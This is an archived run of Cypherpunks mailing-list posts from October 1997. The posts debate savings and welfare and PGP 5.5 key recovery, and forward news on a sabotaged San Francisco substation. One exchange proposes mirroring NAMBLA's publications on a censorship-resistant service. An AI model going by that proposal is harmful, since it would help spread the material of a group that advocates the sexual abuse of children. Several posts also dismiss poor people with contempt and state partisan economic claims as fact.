    in much the same way the seven Baby Bells were value and
    AT&T stock was split with each AT&T share being worth so
    many of each component and the shareholders could pick.

    Meanwhile, with Gate$, "to heck with Janet Reno" Ballmer,
    and their lawyers in federal prison where they are
    prohibited from running a business, the software industry
    might return to some well needed diversity since Gate$ will
    not be able to swing his mighty hatchet. 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNFFmzrR8UA6T6u61AQFSxQIAiVGb4cdMplUNZdlDw15jNl8bZdX5Lzz+
9teI7hbjJbe8WSZqm85EAH0Q9TfWL3k1b5VS4FAAVHtzaRrFzJlrQQ==
=X4G/
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 25 Oct 1997 19:38:06 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: Saving money
Message-ID: <199710251158.GAA28570@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > At 10:00 PM -0700 10/24/97, harka@nycmetro.com wrote:

 > While I am glad for your achievements, you have not addressed my
 > point: all this doesn't apply to the larger mass of people.

 -=> Quoting In:tcmay@got.net to Harka <=-

 In> As I recall your point, it was that most people are a few weeks away
 In> from running out of money and hence cannot change jobs readily. I was
 In> saying that a small amount of self-discipline and sacrifice can quite
 In> easily translate into having a few _months'_ worth of savings.

That may indeed work for some people, but the argument of
"self-discipline and sacrifice" usually goes overboard once people
_other than yourself_ are severely affected by that. "Sorry hun,
you can't have a new winter-coat. Mommy has to save enough money so
that she can choose the people she works for. And no...no christmas
this year either".

 In> If they won't make these spending tradeoffs and have not even
 In> a buffer sufficient to carry them through a month or two or
 In> three, I say screw them.

How about you adopting a person/family of your choice instead and
providing them with enough startup-money, so that they can at least
make an realistic effort to work towards a position of becoming
financially independent themselves? :)

 In> I won't support restrictions on what a company may do, when
 In> perfectly legal,

Neither do I.

 In> just because Joe Sixpack spent his paycheck on beer

or on his two daughters...

 In> Or because Rawandala Brown spent her money on crack

or supporting her sick mother instead.
Your repeating of government-propaganda about the "abuse of the
welfare-system" etc. doesn't really cut it as an argument in a
discussion about the realism of having total financial independence
and the freedom of choices, that comes with it.

 In> The Mormons teach self-reliance, and savings. So do other
 In> religions and belief systems. Many of them urge their
 In> followers to have money put aside for just these kinds of
 In> situations.

While I am not a Mormon or whatever, I do believe in self-reliance
myself. But to argue, that everybody already _is_ self-reliant to
the degree of being able to freely choose your employer at any time
is factually incorrect. And that was the beginning of this
discussion.

[Grasshopper stuff deleted]

 In> Don't you mean, in your world view:

 In> If success is outlawed, only failures will succeed.

You don't have to start twisting my signature-file and implying
things, that were never written by anybody but your projections. :)

 In> (I urge you to think about how your criticisms of the free
 In> market fit this aphorism.)

I suggest in return you reconsidering the myth, that a free market
means equal opportunities and thus quick self-reliance for
everybody.

Ciao

Harka

/*************************************************************/
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

... Freedom is not a circumstance in life, it's a State of Mind!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFHX2jltEBIEF0MBAQFftAf/Q4bWgn1DJSz8THyW2VwpvfqXu0Df8uol
4+Kqdg8RRsiKeFiUCXG0h/Ab2IZJmYjYvj4ycI5+VqCReCd5YROckTLqih1K4tc4
t0ZnCwGMkwQF5pJ9rizEQnooo2NhLjW1Nj5zMTfHxYeSUtBUNFabd54Szgl485RC
CWTRnBDJJCHhdxcvBl2xy+RWbviJ0+DbCVnt/28YN/4cH/YQKQn05dSLVGP4dOUW
SZ4VrRqaD+mU/rmFV8oDNfkxSxwx4s4y1yG0WfSBE2XCQea3uzm9oR2ULFwo6vQD
iv0VBBM9x7V4Cl9fDBmi36BXDlZDweJtgUDzGolZq4FAcWQRUzxz4A==
=uJPQ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 25 Oct 1997 21:47:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Saving money
In-Reply-To: <1.5.4.32.19971025125724.00b95048@pop.pipeline.com>
Message-ID: <199710251336.JAA19907@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19971025125724.00b95048@pop.pipeline.com>, on 10/25/97 
   at 08:57 AM, John Young <jya@pipeline.com> said:

>Now, I have to confess that stock market plunges lift my spirits 
>wonderfully. Without that I have only the WSJ's thigh-slapping comedies
>of financial vainglory and ruin. And aoccasional  upbeat homilies here
>about how to get ahead -- none believable  of the jokemaster authors.
>Tim, Adam, Good Humorers.

<sigh> John is off his med's again.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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6uPKWYMn/M+XnoTbJyu8qI66GsuUCv6WdrfwDxQVSeKqxU6+PFGBtO6SDWfLsB09
3iWQa0XO+23s3CVxNDD6Do0dK4G5XIY+5nP9+29tinmq3vn3CkwYgj0crR026zJd
ANgwafF3cZI=
=02Yu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 25 Oct 1997 21:16:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Saving money
Message-ID: <1.5.4.32.19971025125724.00b95048@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



"Self-reliance and socialism are diversions confected by
capitalism to conceal its evils," some poor bastard 
finally understood, muttered to nobody and died.

Nearly all governments are socialist to some degree
in that they provide services (bribes) that other social
structures do not; even the vilest must do so to fend off the 
hordes, rebels and revolutionists, or go broke funding
the military, guards, spies and police, as most eventually
do like the wealthy being sucked empty by their lawyers,
bankers, families and lovers.

Indeed, the most fervent proponents of coercive force
are those who have the greatest wealth to protect against
the folks trying to get it by all possible means. "More cops,
more laws, more education in obedience, more loyalty
oaths and prenupital 'surely you're joking's."

However, even those of great wealth know that mere
coercive power is not enough, that you've got to employ
religion, education, culture and social pressure to induce
acceptance that some have it and some don't, and screw 
those who don't -- keep the Armalite handy. 

Borrowing from the Catholic Church, John Calvin tweaked 
this wealth-hoarding philosophy to a high-definition blind faith in 
predestination: one is born to have it and too bad about the 
others -- which relieves those who got it by luck and crime 
(misnamed self-reliant hard work and careful planning) and 
can't quite find solace in their own self-deception, can't
quite believe their protectors are trustworthy.

Calvinist voodoo in updated guises has been for a couple of 
centuries the fundamentalist faith of the newly wealthy of the 
industrial (and now electronic) culture, and economic 
soothsayers know how to keep the grants, lecture fees and 
book profits coming by peddling all sorts of new versions 
especially tailored to fit semi-ignorant, fearful souls unsure 
how to capitalize on their capital, and terrified that it will 
evaporate just as inexplicably as it rained down on the very 
spot they happened to be at while all around them folks
were dying of drought.

None of this applies to the good hearts on this list, who are
amazingly generous of their time to contribute wit and wisdom
and frank admission that what else can one do except
joke about god's folly, endure the drought and pray that the 
rains come and shit storms don't. As now in southeast Asia.

What an amazing RICO op is Wall Street, now World Street, 
comparable to RICO government, now world gov, composed
of the same Bosses and Pols working hand in hand to
smirk, smirk blame the other, both knowing that self-reliance
and socialism are for clueless fools unable to grasp the 
wonders of highly organized theft to avoid labor (and taxes) 
altogether, that coercive-capitalist-gov self-delusion unable
to stanch the endlessly increasing cost of defending security 
threats.

Now, I have to confess that stock market plunges lift my spirits 
wonderfully. Without that I have only the WSJ's thigh-slapping
comedies of financial vainglory and ruin. And aoccasional 
upbeat homilies here about how to get ahead -- none believable 
of the jokemaster authors. Tim, Adam, Good Humorers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 21:48:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Administration to revive vetoed projects [CNN]
Message-ID: <199710251415.JAA28964@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Administration Will Help Revive Some Vetoed Projects
> 
>   Aides put the blame on Defense Department for line-item veto mistakes
>   
>     line item
>    
>    WASHINGTON (AllPolitics, Oct. 24) -- The Clinton Administration is
>    looking for ways to restore funding for a number of military projects
>    which, aides say, the president mistakenly vetoed.
>    
>    In a letter to Senate Appropriations Committee Chairman Ted Stevens
>    (R-Alaska), White House budget chief Franklin Raines blamed the
>    Defense Department for providing faulty data, which he said led to the
>    vetoes.
>    
>    Clinton, wielding his new line-item veto power that allows the
>    president to strike individual items from larger spending bills,
>    vetoed 38 military projects from this year's defense funding bill on
>    Oct. 14. raines
>    
>    Congressional leaders have said despite the administration's mea
>    culpa, they are not about to try to revive the spending projects for a
>    veto-override vote during an election year.
>    
>    But Raines told Stevens, "We are committed to working with Congress to
>    restore funding for those projects that were canceled as a result of
>    inaccuracies in the data provided by the Department of Defense."
>    
>    How? Three possibilities have been floated: One would shift surplus
>    funds from the Defense Department's existing budget; another would
>    include the money in a supplemental spending bill next year; a third
>    would insert the items in a so-called "bill of disapproval."
>    
>    Stevens told reporters the White House had expressed willingness to
>    revive 14 projects, though he put the number of mistakenly vetoed
>    projects at 28.
>    
>    "Maybe even the White House is educable," the Alaskan muttered to
>    reporters after a hearing Thursday on Capitol Hill.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 25 Oct 1997 21:52:34 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: FBI say San Francisco blackout sabotage [CNN]
Message-ID: <199710251416.JAA28998@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                  FBI SAYS SAN FRANCISCO BLACKOUT WAS SABOTAGE
>                                        
>      Blackout October 24, 1997
>      Web posted at: 10:10 p.m. EDT (0210 GMT)
>      
>      SAN FRANCISCO (AP) -- Utility officials increased security at power
>      stations around San Francisco on Friday after FBI investigators said
>      someone intentionally cut power to the city's downtown.
>      
>      "It was a deliberate act," said FBI spokesman George Grotz. "It was
>      not an accident, and it was not a computer intrusion."
>      
>      Robert Glynn Jr., president and chief executive officer of Pacific
>      Gas & Electric Co, declined to comment on whether authorities
>      believe it was an inside job.
>      
>      Grotz said there was no sign of forced entry into the locked city
>      substation, and agents are looking at records of about 75 employees
>      who had access to the building. Sabotage of an electrical facility
>      is a federal offense.
>      
>      FBI agents examined the switches and dusted the equipment for
>      fingerprints, Grotz said.
>      
>      The switches in the substation were toggled in such a way as to
>      maximize the power outage. The saboteur had cut power coming into
>      and out of the station, Grotz said.
>      
>      The effect was that a bank of transformers failed around 6:15 a.m.
>      Thursday, blacking out electricity to 126,000 customers -- about
>      250,000 people -- in a five-mile, mid-city stretch from the Marina
>      to the Sunset districts for 90 minutes or more.
>      
>      The blackout stopped elevators and alarm clocks, knocked out traffic
>      signals and left commuters shouting and honking their horns in
>      frustration.
>      
>      Police spokesman Sherman Ackerson said the department held over its
>      midnight shift and put 450 police and parking patrol officers on the
>      streets to ease traffic headaches.
>      
>      Entire neighborhoods lacked public transit because much of the
>      city's bus system runs on electricity. Bay Area Rapid Transit trains
>      kept running, but two stations went dark and briefly closed.
>      
>      The city was back to normal Friday morning, with traffic and
>      omnipresent coffee machines humming as usual -- a far cry from
>      Thursday's chaos, said Joshua Larsen of the Coffee Roastery, a
>      bean's throw from San Francisco's famous Powell Street cable car
>      turnaround.
>      
>      He had just arrived for work and was preparing the morning coffee
>      when everything stopped.
>      
>      "Right in the middle of grinding coffee -- it was a blend of Kenya
>      and French roast -- the power stopped cold," Larsen said.
>      
>      Copyright 1997   The Associated Press. All rights reserved. This
>      material may not be published, broadcast, rewritten, or
>      redistributed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 26 Oct 1997 01:21:05 +0800
To: cypherpunks@Algebra.COM
Subject: The Coming Tax Holocaust
In-Reply-To: <v03102800b07742497420@[207.167.93.63]>
Message-ID: <v03102800b077d1c68910@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:22 AM -0700 10/25/97, Adam Back wrote:

>Absolutely.  I recall trying to explain to someone who was prone to
>spending money he didn't have:
>
>- if you spend it before you've got it, you'll get to spend less,
>  because of the interest you pay in the mean time
>
>- where as if you spend it some time after you've got it, you'll be able
>  to spend more because you will accumulate interest prior to spending.

This is exactly the "discipline" problem I was talking about. To too many
people, money burns a hole in their pocket: if they've got cash in their
pocket or in their checking account, it's something to be spent. If they've
got multiple credit cards, they see the credit limit as "free cash." So too
many of them are maxed out, or close to be maxed out, on credit cards.

Those of us who think of money as something to be invested, as an engine
for investment growth, have quite the opposite view. Credit card debt is
the worst kind of debt (well, almost the worst....owing money to bookies
and sharks is probably worse).

I also see a lot of fools around me buying lottery tickets and other
state-sponsored gambling ventures. The odds on winning are criminal (these
operations _would_ be criminal if not being run by the state!).  Statistics
show that many of these frequent gamblers--often low-income persons--spend
about $100 a month, on average, in bets.

(Had they instead invested this $100 a month in tech stocks, as I did,
they'd have quite an impressive fund now.)



>Spending every penny before you've got it and then looking around for
>someone else to pay the bills is a socialist tendency.  The nanny
>welfare state.  Legalised theft from those that have worked to those
>who have not.

This is, by the way, why spreading strong, unbreakable, un-GAKked, un-GMRed
crypto is so important. We who have saved need to put our assets beyond the
reach of those who have failed to save...sometimes an Armalite is not
enough, despite what John Young said this morning.

The official U.S. "national debt" (money already spent but not in
possession of the government when spent, hence borrowed from "the future")
is around $5.5 trillion ($5.5 x 10^12). There are 250 million Americans,
but a more important figure is that there are about 100 million taxpayers.
(The rest being children, prisoners, disabled persons, bums, winos, welfare
recipients, drifters, more prisoners, more panhandlers, more on the dole,
etc.).

This means that each and every taxpayer, on average, has a $55,000 share of
this debt, which presumably must be someday paid back.

(There are theories about how this is not actually that much of a debt,
blah blah. I disagree. This debt is much more than the savings or
investments of average taxpayers, meaning, they "owe" more than their
"worth.")

In any case, the story is much worse than this. Because the government has
committed itself legally to cover certain debts and to cover the costs of
certain other obligations, notably pension funds, student loans, and
various financial ventures (savings and loan bailouts, for example), the
actual debt is much higher than the offically reported national debt. The
national debt, for example, does not include the Social Security or
Medicare deficits--the U.S. has been taking in SS and such taxes and
immediately spending them, placing an "I.O.U." into the treasury. These
I.O.U.s will of course have to be redeemed someday, in the sense that the
Baby Boomers, all 60 million of us, are going to start retiring in around
2010 and will be expecting to get their Social Security and Medicare (etc.)
checks. This will correspond to a time when fewer young workers are
available....

The name for this "overhang" is "unfunded liabilities." How large is this
debt? Estimates vary, and official estimates are hard to come by. The
number I have seen reported by reputable actuaries and accounties is, get
this, $20 trillion.

$20 trillion (and growing every year) to cover the promises made, the loans
insured (which are not expected to be repaid by the original borrower), the
pension funds backed by the government, the Social Security and Medicare
systems, the benefits for tens of millions of veterans, the child care
programs, and so on.

Meaning every taxpayer has a $200,000 obligation hanging over him.

This is the situation we have gotten ourselves into.

Some experts have calculated the tax implications of this overhang of
unfunded liabilities. It looks like the average 20-year-old of today,
meaning, many readers of this list, will be expected to pay 50-60% of their
paychecks in 15 years just to service the debt of this overhang.

(I've seen estimates that the tax rate in 2010-2020 will have to climb to
80%, as otherwise there just isn't the funding and the government will
default. This makes certain assumptions about income levels, interest
rates, etc. But the general trends are clear.)

The tax cuts of the past year should not confuse anyone. Nor should the
"national debt is declining" crap confuse anyone. The national debt is not
in fact going down...the last year or so has seen a reduction in the _rate
of increase_, and the budget is close to being "balanced," courtesy of the
recent economic surge. That is, the national debt will, temporarily, remain
at about $5.5 trillion, instead of going to $5.7 T, then $6T, then $6.3T,
etc., as it had been trending toward.

But the overhang remains, and must be paid eventually. (If not paid off,
the interest portion consumes ever-greater portions of spending.)

And the $20 trillion (estimated) overhang of unfunded liabilities will
start to hit hard when these liabilities come due.

So, we as individuals must find ways to protect ourselves from the Coming
Tax Holocaust.

But that's another set of articles.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 25 Oct 1997 22:46:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <1.5.4.32.19971025143010.00ba3170@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

>I understand what Lucky meant when he said that PGP had pulled the
>greatest hack ever on corporate America.  It's so good that you have
>to conceal your mirth, for fear of screwing it up... 

Yes, yes, it's great that the bosses bought the fool's tool, as they ever
are doomed to do, unable to escape that the underlings are forever 
disobedient and disloyal, for right and good reasons: too little pay, as 
employers are forever rightfully and reasonably paranoid: too little 
Shut the FU labor.

The eternal conflicting interests of the two -- whether gov/cu, he/she,
them/us -- is what generates economic enterprise between competitive
groups. Each is doomed to fall victim to peddlers of "this will ease
your insecurity for sure, trust me," selling to both sides, betraying both 
sides, bragging to insiders "what clueless jerks, more born every day".
The braggarts whistling in the dark at their own terrors.

Call them leaders, pols, priests, journalists, scientists, wonks, seers, 
agony aunts, talking heads, headless tadpoles, all wise asses who are 
convinced they know what's what when they actually don't know S 
from S but are mesmerized by their latest foolhardy intellectual conceit, 
their copyrighted IP IPO for orchestrating a cheating win they don't 
deserve, doped max on auto-delusionary what were they PGProzacking.

Damn, Geiger, was it you snatched my Rx?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 19:37:51 +0800
To: declan@well.com
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <Pine.GSO.3.95.971024181115.26025B-100000@well.com>
Message-ID: <199710250958.KAA00604@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> Folks on f-c and cypherpunks have mirrored holocaust revisionist web
> pages, banned books, and censored newspapers. Now I understand that NAMBLA
> is in danger of losing its home on the web. Anyone up for mirroring the
> (text-only)  publications of perhaps the world's most controversial
> organization?

Slap 'em up on the eternity service.

At the moment you'll need 1x unix hacker to figure out the scripts,
but it's doable.

	http://www.dcs.ex.ac.uk/~aba/eternity/

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 26 Oct 1997 02:08:17 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <3.0.2.32.19971022210316.00727944@netcom10.netcom.com>
Message-ID: <3.0.2.32.19971025110333.03966b0c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:25 PM 10/24/97 +0100, Adam Back wrote:

[Busy week. Expect increased response time].

>If the pgp5.5 functionality is designed to provide companies with a
>disaster recovery procedure (forgotten passphrase, or dead employee),
>there are much better ways to do it.  We're not arguing against the
>user requirement, just against the methodology.

There have been numerous proposals on the list to accomplish the above
goals in a way other than the method employed by PGP. I have read the
proposals and I am not convinced that said proposals are less intrusive.
IMO the vast majority of the proposals I saw are more intrusive. One
subscriber even argued, make that screamed, that PGP 5.5 was evil because
it didn't automatically cc: the email to the corporate recovery agent. The
mind boggles.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Sun, 26 Oct 1997 02:28:49 +0800
To: cypherpunks@toad.com
Subject: Elliptic Curves
Message-ID: <199710251814.LAA03164@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



Can anyone point me to some good documentation on elliptic curves as 
applies to cryptography? I'm interested in finding some good 
documentation from which I would be able to learn how to use elliptic 
curves in creating a public/private key system. I have mainly been 
studying symmetric systems and would like to move on to asymmetric 
systems. Any help would be appreciated.

--Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 26 Oct 1997 02:46:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Saving money
Message-ID: <199710251832.LAA17149@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Harka wrote:
>Do you really expect single mothers with 3 kids to have the time to
>do it to the degree of being able to _freely choose_ their
>employers?? Or even Joe Average, who just came out of College and has
>$100 000 school-loan-debt?

Certainly there are people who will give up their privacy rights for
money.  Some of them will not perceive it as a problem.  Some will
have put themselves into a bad situation where the money is worth more
than their privacy.

In almost all cases their problems do not exist outside their minds.

The mother with 3 children did not get into that situation by
accident.  Certain choices and actions were taken that put her into
that "bad" situation.  ("Bad" in quotes because if one really really
wants to have children, the situation may be preferable to the
alternative.)

The kid who borrows $100,000 and can't find a good job did not receive
good advice.

It is terribly important to recognize when people are in situations of
their own creation if we wish to advise people in ways to avoid such
situations or avoid them ourselves.

>While I am glad for your achievements, you have not addressed my
>point: all this doesn't apply to the larger mass of people.

I completely disagree with this.  Read "Your Money or Your Life" by
Joe Dominguez and Vicki Robin.  This book describes a method which
anybody can use to make good decisions in managing their life.  The
purpose of the book is to teach ordinary people how to become
independently wealthy.  There are few people who would not benefit
from this method and who are incapable of applying it.

>You were fortunate enough to be in the right place at the right
>time...one of the founding-members of a company in an industry, that
>pays way more than average and thus brought you into the position,
>that you're in now. Great...more power to you and I encourage
>everybody to try the same.

You should also look at "The Millionaire Next Door" by Thomas
J. Stanley and William D. Danko.  This is a study of millionaires in
the United States.  To quote from "Money" magazine: "To learn what
today's millionaires have in common and how they accumulated their
wealth, Stanley and Danko sent questionnaires to affluent Americans
and conducted focus-group interviews.  They learned that about
two-thirds of those millionaires who still work are self-employed -
versus one in ten for all Americans.  The types of businesses they own
tend to be mundane, such as welding and dry cleaning.  The
overwhelming majority aren't trust-fund babies; eight out of ten
accumulated their riches themselves.  Most are extremely frugal.
Although their average net worth is $3.7 million, they generally live
so modestly that even their neighbors don't have a clue about their
wealth."

The article has these five bullet points to recommend:
"1. Live below your means.
 2. Launch a savings and investing plan.
 3. Take on debt sparingly.
 4. Pay as little as possible to Uncle Sam.
 5. Start your own business."

Standard Ben Franklin stuff, but it works.

>But if the available work-force exceeds the demand for it, such jobs
>wouldn't pay nearly as much as they do right now.  Hence, achieving
>financial independence to the point of freely choosing employers
>would become much harder again.

Actually, it doesn't cost much to change employers.  All you have to
do is find an employer who will hire you.  Mostly this is a question
of time and effort.

>But this is the reality for MOST people (outside of the
>elite-industries) already! Especially if they start out with
>student-loan-debts amounting to several ten thousands of dollars.
>Add a family/kids to that and you tell me how easy a task it will be
>to quickly become independently wealthy.  (Some people will be able
>to pull it off somehow, most people won't - - despite their wishes to
>the contrary. Should they make their best effort? Absolutely! Will
>everybody succeed? Absolutely not.)

I agree most people will probably not pull it off, but that's too bad.
The reason they won't pull it off is that they won't make their best
effort.  Sure, you can dig up people who appear to have really tried
and then failed anyway, but they are rare.

You can easily see that most poor people are not making their best
effort by studying how much money they spend on alcohol, tobacco, or
other recreational substances.  You can also study TV watching habits.
Poor people watch a lot of TV instead of making themselves useful.

>The truth is, that there are many people outside of Cypherpunks, who
>get barely through life _despite_ making efforts. They may get enough
>salary in their 9-5 job to maintain themselves to a degree, but not
>nearly enough to have the complete freedom, that is the issue
>here. And to say, "they get what they deserve" (if they don't have
>the abundance of dollars/freedom) is rather narrowminded and
>out-of-touch with most people's reality.

Gee, I don't know about that.  When I was in school there was
tremendous peer pressure to not study, to not get good grades, to not
program, to not study electronics, to not master calculus,
etc. etc. etc.  If those people end up poor, I have no hesitation in
saying they deserve it - at the very least!

>That may indeed work for some people, but the argument of
>"self-discipline and sacrifice" usually goes overboard once people
>_other than yourself_ are severely affected by that. "Sorry hun, you
>can't have a new winter-coat. Mommy has to save enough money so that
>she can choose the people she works for. And no...no christmas this
>year either".

I think I hear violins! ;-)

In practice, these are very seldom the choices that are being made.
Winter coats are available second hand for almost nothing.  When I was
a kid my parents made many of our presents by hand to save money.
Christmas need not be expensive, and it's not clear that it is
improved in any meaningful way by spending lots of money.

People are perfectly capable of living economically and making
good decisions, even when their children are involved.

(In> is Tim May, quoted by Harka.)
> In> If they won't make these spending tradeoffs and have not even a
> In> buffer sufficient to carry them through a month or two or three,
> In> I say screw them.

>How about you adopting a person/family of your choice instead and
>providing them with enough startup-money, so that they can at least
>make an realistic effort to work towards a position of becoming
>financially independent themselves? :)

Uh, excuse me, but I didn't see Tim volunteering for Santa Claus duty.
Why should he help out people who will, in all probability, fail to
take his advice, squander any money he gives them, and resent him for
his efforts?

For that matter, why should he help out people who will be eternally
grateful if he doesn't value that gratitude?

And the claim that all that is needed is a little startup money is a
standard lame excuse that has probably been used for millenia.  Making
excuses is not how the job gets done.

>I suggest in return you reconsidering the myth, that a free market
>means equal opportunities and thus quick self-reliance for everybody.

The term "equal opportunities" is a curious one.  A free market does
mean that everybody has the equal opportunity to make agreements with
each other.  But, clearly some people will have more success making
these agreements for reasons which are not under their control.
Somebody might have parents who introduce them to the right people and
show them the ropes, for instance.  This is one reason why the free
market does not eliminate the formation of elites.  But, so what?  Are
we really going to claim that people shouldn't help their children to
succeed?

In the sense that I think you mean the term, "equal opportunities" are
exceedingly undesirable.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 25 Oct 1997 19:30:12 +0800
To: kent@bywater.songbird.com
Subject: Re: PGP, Inc.--What were they thinking?
In-Reply-To: <19971025002707.17636@bywater.songbird.com>
Message-ID: <199710251055.LAA00694@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> On Fri, Oct 24, 1997 at 02:42:19PM +0100, Adam Back wrote:
> > > It may be less obvious, but despite what PGP claims, a significant
> > > fraction of this demand is for the ability to SNOOP, and not just data
> > > recovery.  
> >
> > Jon Callas <jon@pgp.com> writes:
> > :    It is possible that
> > :    there is an unstated perceived user requirement, that the messaging
> > :    standard be able to allow third party access to the communications
> > :    traffic directly.
> > : 
> > : Nope, that's not what we're arguing for. 
> > 
> > So it would appear that your suspicious are unfounded...
> 
> Jon's statement and my statement are consistent, if you look a little 
> more closely.

Could you explain, please.  I took it at face value.  He made other
statements also denying that claim.

> > If this is the case, I reckon it's still better to just escrow their
> > comms keys locally. 
> 
> In my early days on the list I spent a great deal of effort arguing
> exactly this point, perhaps even with you.  Perhaps you recall my
> discussions of the "key-safe" model.  (I suppose we could check the
> archives...) At that time, however, my proposal was branded as key
> escrow and hence evil, and the STANDARD REPLY WAS THAT IT WOULD BE
> FAR, FAR BETTER TO JUST ENCRYPT TO A COMPANY KEY AS WELL AS THE
> PRIVATE KEY.  *You* may even have made such arguments. 

I recall your key safe.  I also recall that you suggested cypherpunks
work out ways to do data recovery -- a suggestion which was ignored
because we figure why help them.

There are dangers with each.  The company safe model is better, but
governments could come along and demand a copy of the keys in the
safe, if they are communications keys.

For this reason generally I reckon it's safer to stick only storage
keys in the safe.  Don't back up comms keys.

There are some short-falls to not being able to recover comms keys
(like losing messages which were in transit at time of memory lapse).
So if you do need to recover comms keys, it is I think a good idea to
implement PGP WoT autenticated TLS (I described how to do this in
another post, a reply to one of Jon Callas posts).  This is another
easy thing to do.  A few days hacking at most, everything is in place,
even SMTP agents.

Another thing to do is opportunistic PFS.  Use PFS when you can.  This
just means sending a EG key with each message.  If there is a reply,
the person replying uses the EG key.  The recipient deletes the key
after use.  (EG keys are cheap to generate, if you keep the same
public vales.)  This is good because it allows the company recovery of
comms keys, but denys attackers (industrial espionage, rogue
government agents) access to the ciphertext.

All simple easy things to do.

> Now that PGP has actually gone and implemented exactly what some
> months ago was the preferred alternative, the jack-rabbit meme-ridden
> collective cypherpunk semiconciousness awakens from its hazy stupor
> and says "Huh! GAK!", and parades Key Escrow as a safer solution.
> 
> So, for sure, either the thinking those months ago was shallow, or the
> thinking now is shallow.  The third alternative, that the thinking has
